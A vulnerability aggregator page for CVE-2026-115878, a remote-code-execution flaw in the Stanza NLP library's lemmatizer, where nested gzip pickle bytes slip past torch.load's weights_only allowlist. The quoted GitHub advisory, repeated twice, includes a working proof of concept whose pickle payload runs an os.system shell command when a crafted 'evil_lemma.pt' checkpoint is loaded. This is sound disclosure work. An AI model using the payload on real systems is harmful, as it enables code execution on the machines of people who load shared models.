CVE-2026-115878
Stanza: RCE via pickle deserialization in the lemmatizer
Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.8
Stanza: RCE via pickle deserialization in the lemmatizer
Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.
- Record
CVE-2026-115878- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-502
- Updated
- 2026-11-03
EUVDEUVD-2026-116216
7.8
Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.
- Record
EUVD-2026-116216- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-04
GitHub AdvisoriesGHSA-gh9r-c94j-cmp5
7.8
Stanza: RCE via pickle deserialization in the lemmatizer
TL;DR
Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.
Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).
A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.
The vulnerable path
stanza/models/lemma/trainer.py:
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def _unpack_pos_dict(data): # line 54
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return pickle.loads(raw) # <-- unrestricted default unpickler
def load(self, filename, ...): # line 365
checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact
...
if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format)
self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation
Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.
Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.
Minimal PoC
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict()
gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)
loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.
Fix
Deserialize the inner stream with…
- Record
GHSA-gh9r-c94j-cmp5- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-502
- Updated
- 2026-11-03
NVD
7.8
Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.
- Record
CVE-2026-115878- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-502
- Updated
- 2026-11-04
OSV
7.8
Stanza: RCE via pickle deserialization in the lemmatizer
Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. From 1.14.0 until 1.15.0, loading an attacker-supplied lemmatizer checkpoint can execute arbitrary code because stanza/models/lemma/trainer.py stores pos_dict as gzip-compressed pickle bytes and Trainer.load passes the decompressed stream to unrestricted pickle.loads. The outer torch.load call uses weights_only=True, but the nested bytes are treated as a primitive and are not inspected by that allowlist. The path is reachable during pipeline construction through a caller-influenced lemma_model_path, before inference begins. This issue is fixed in version 1.15.0.
- Record
CVE-2026-115878- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502, CWE-94
- Updated
- 2026-11-05
OSVGHSA-gh9r-c94j-cmp5
7.8
Stanza: RCE via pickle deserialization in the lemmatizer
TL;DR
Loading an attacker-supplied lemma .pt runs arbitrary code as the loading user. Since 1.14.0 the lemmatizer stores pos_dict as a gzip-compressed pickle in the checkpoint's dicts field (a bytes value). torch.load(weights_only=True) treats bytes as a primitive and passes it through unexamined, so its allowlist never sees the inner stream. Trainer.load then feeds those bytes to an unrestricted pickle.loads: the only bare pickle.loads in the tree. Result: weights_only=True gives no protection here, and model loading executes code.
Confirmed end-to-end against stanza 1.14.0 / PyTorch 2.13.0 / CPython 3.13.7: a crafted checkpoint whose payload __reduce__ returns (os.system, (cmd,)) ran the command at load time (marker file showed uid=501(...), executed_by=...).
A downstream user is vulnerable whenever they build a pipeline that loads a caller-supplied lemmatizer checkpoint. i.e. stanza.Pipeline(lang=..., processors="tokenize,pos,lemma", lemma_model_path="<attacker-influenced .pt>") (or any equivalent load of an untrusted/shared lemma model through a custom registry) - since that call routes straight into Trainer.load -> _unpack_pos_dict and executes the embedded pickle at construction time.
The vulnerable path
stanza/models/lemma/trainer.py:
# _pack_pos_dict (write side): pos_dict -> pickle -> gzip -> bytes, stored under checkpoint['dicts']
def _unpack_pos_dict(data): # line 54
buf = io.BytesIO(data)
with gzip.GzipFile(fileobj=buf, mode="rb") as gz:
raw = gz.read()
return pickle.loads(raw) # <-- unrestricted default unpickler
def load(self, filename, ...): # line 365
checkpoint = torch.load(filename, ..., weights_only=True) # outer allowlist; bytes pass through intact
...
if dicts_version == _DICTS_VERSION_POS: # dicts_version == 2 (current format)
self.pos_dict = _unpack_pos_dict(checkpoint['dicts']) # line 378, no validation
Reachable from the documented API. stanza.Pipeline(..., lemma_model_path=<file>) -> LemmaProcessor._set_up_model -> Trainer(model_file=…) -> Trainer.load. Any shared/distributed checkpoint, custom registry, or caller-supplied lemma_model_path reaches it. No checksum is applied to caller-supplied paths (MD5 verification exists only in the default registry download flow). Trigger is at pipeline construction, before any inference input is processed.
Note: this is not the weights_only=False fallback fixed under CVE-2026-54499: the outer load stays safe; the exposure is entirely the inner pickle.
Minimal PoC
import gzip, io, os, pickle, tempfile, torch
from stanza.models.lemma.trainer import _unpack_pos_dict, _DICTS_VERSION_POS
MARKER = os.path.join(tempfile.gettempdir(), "stanza_lemma_poc_pwned")
class Payload:
def __reduce__(self):
return (os.system, ("id > %s 2>&1; echo executed_by=$(whoami) >> %s" % (MARKER, MARKER),))
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode="wb") as gz: # same shape as _pack_pos_dict()
gz.write(pickle.dumps(Payload(), protocol=4))
ckpt = {"dicts": buf.getvalue(), "dicts_version": _DICTS_VERSION_POS}
pt = os.path.join(tempfile.gettempdir(), "evil_lemma.pt")
torch.save(ckpt, pt, _use_new_zipfile_serialization=False)
loaded = torch.load(pt, lambda s, l: s, weights_only=True) # SUCCEEDS; dicts is bytes, intact
_unpack_pos_dict(loaded["dicts"]) # == trainer.py:378 -> command runs
print("pwned:", open(MARKER).read().strip())
The PoC calls _unpack_pos_dict directly: the exact expression at trainer.py:378. Reaching it through stanza.Pipeline(...) additionally requires the crafted file to carry a well-formed config/vocab so load runs to line 378 (established by source review); the deserialization to execution step is confirmed at runtime.
Fix
Deserialize the inner stream with…
- Record
GHSA-gh9r-c94j-cmp5- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-502, CWE-94
- Updated
- 2026-11-03
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| references | CVE List, EUVD, NVD, OSV | |
| description, references, severity | CVE List, EUVD | |
| aliases, products, published | EUVD | |
| affected, references | OSV | |
| first indexed | GitHub Advisories |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-115878 is a high vulnerability (CVSS 7.8) in Stanfordnlp Stanza, published November 3, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.60%, the 48th percentile. Fixed in stanza 1.15.0.
References
github.com/stanfordnlp/stanza/security/advisories/GHSA-gh9r-c94j-cmp5
github.com/stanfordnlp/stanza/pull/1649
github.com/stanfordnlp/stanza/commit/b21e1c9b47b4fccff21d3b0a6c0687a19410c2f0
github.com/stanfordnlp/stanza/releases/tag/v1.15.0
github.com/advisories/GHSA-gh9r-c94j-cmp5
github.com/CVEProject/cvelistV5/tree/main/cves/2026/115xxx/CVE-2026-115878.json
nvd.nist.gov/vuln/detail/CVE-2026-115878
github.com/stanfordnlp/stanza
Left out here: the rest of 2 source descriptions. The JSON record has them.